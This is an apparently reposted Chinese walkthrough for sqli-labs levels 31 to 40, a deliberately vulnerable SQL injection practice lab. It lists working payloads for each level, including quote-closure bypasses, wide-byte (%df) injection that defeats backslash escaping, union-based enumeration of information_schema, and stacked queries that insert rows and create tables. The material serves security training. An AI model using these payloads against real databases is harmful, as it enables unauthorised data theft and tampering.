sqli-labs通關教程----31~40關


第三十一關

這關一樣,閉合變成(",簡單測試,#號不能用

?id=1") and ("1")=("1")--+

第三十二關

這關會把我們的輸入里的單引號前面都加一個\使得單引號轉義,使它沒有任何意義只是一個字符,所以應該是寬字節注入。什么是寬字節?

  • 當某字符的大小為一個字節時,稱其字符為窄字節.
  • 當某字符的大小為兩個字節時,稱其字符為寬字節.
  • 所有英文默認占一個字節,漢字占兩個字節
  • 常見的寬字節編碼:GB2312,GBK,GB18030,BIG5,Shift_JIS等等
    這里有兩個思路,第一個我們自己再添加一個斜杠\把系統添加的\轉義,但是這里會在我們添加的\前面還會再添加兩個個\把我們的\和'一起給轉義了.........

    還有個思路就是寬字節注入,
    當使用寬字節編碼,如:GBK時,兩個連在一起的字符會被認為是漢字,我們可以在單引號前加一個字符,使其和斜杠(\)組合被認為成漢字,從未達到讓斜杠消失的目的,進而使單引號發揮作用
    注意:前一個字符的Ascii要大於128,兩個字符才能組合成漢字
    就比如在單引號前面輸入一個%df這樣進入系統就變成%df%5c%27,但是因為mysql使用的寬字節編碼會把%df%5c當做一個漢字,所以就把\給注釋掉了
    爆庫名
?id=-1%df' union select 1,2,database() --+


看到\和%df已經組合成功了
爆列名:

?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

這里將users進行hex編碼可繞過'單引號

之后操作一樣

第三十三關

這關和32關一樣啊,payload一模一樣都能用,看了下源碼連這關的標題都寫的32...

第三十四關

這關就是就是變成POST請求,order by只能猜到2列數據
爆列名:

uname=admin1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin1&submit=Submit&

第三十五關

這關還是有轉義,但變成數字型注入了,不用引號了。直接注入就行。但是指定表名和數據庫名查詢還是要hex編碼。
爆列名:

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

第三十六關

這關就是瀏覽器輸入的值經過mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。
下列字符受影響:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a
    就是被轉義的關鍵字比較多,其實還是闊以用之前32關的寬字符注入來做,一樣的payload
    爆列名:
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

第三十七關

這關和34關類似,一樣的payload,用post方法提交
爆列名:

uname=admin1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin1&submit=Submit&

第三十八關

這關看標題是堆疊注入,就是把很多條sql語句堆在一起使用,用分號區分不同的sql語句。雖然限制很多但利用mysqli_multi_query()函數就支持多條sql語句同時執行。
平常sql注入受到sql語句的限制就是來查查數據,但利用堆疊注入完全可以自己構造sql語句,對數據庫進行增刪改查操作,可謂危害很大。
這關也可以用尋常的sql注入套路。
向users表插入數據

?id=1';insert into users(id,username,password) value (66,'acca','bbc') --+


新建一個以emails表為模板的表

?id=1';create table test like emails;--+

第三十九關

和上一關一樣,沒有閉合了變成數字型注入,其他一樣。
新建一個以emails表為模板的表

?id=1;create table test like emails;--+

第四十關

與前幾關一樣,閉合變成')
插入數據

?id=1') ;insert into users(id,username,password) values('17','aaa','bbb'); %23


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM